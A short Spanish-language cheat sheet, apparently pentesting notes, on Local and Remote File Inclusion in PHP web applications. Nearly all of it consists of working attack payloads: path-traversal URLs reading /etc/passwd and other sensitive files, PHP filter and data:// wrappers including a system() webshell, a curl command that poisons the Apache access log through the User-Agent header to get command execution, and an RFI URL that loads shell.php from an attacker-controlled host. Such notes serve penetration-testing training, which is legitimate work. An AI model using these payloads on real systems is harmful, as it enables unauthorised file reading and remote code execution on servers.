Explotación Web
LFI / RFI
Local y Remote File Inclusion — lectura de ficheros sensibles, wrappers PHP y escalada a RCE mediante log poisoning.
1 min de lectura
Índice▾
Local File Inclusion (LFI)
Permite leer ficheros del servidor a través de un parámetro vulnerable:
http://10.10.10.10/index.php?page=../../../../etc/passwdFicheros interesantes:
/etc/passwd
/etc/hosts
/var/log/apache2/access.log
C:\Windows\System32\drivers\etc\hostsWrappers PHP
php://filter/convert.base64-encode/resource=index.php
data://text/plain,<?php system($_GET['c']); ?>De LFI a RCE (Log Poisoning)
- Inyecta PHP en un log accesible (p. ej.
User-Agent):
curl -A "<?php system(\$_GET['c']); ?>" http://10.10.10.10/- Incluye el log y ejecuta comandos:
http://10.10.10.10/index.php?page=/var/log/apache2/access.log&c=idRemote File Inclusion (RFI)
Si allow_url_include está activo, se incluye un fichero remoto:
http://10.10.10.10/index.php?page=http://10.10.14.5/shell.php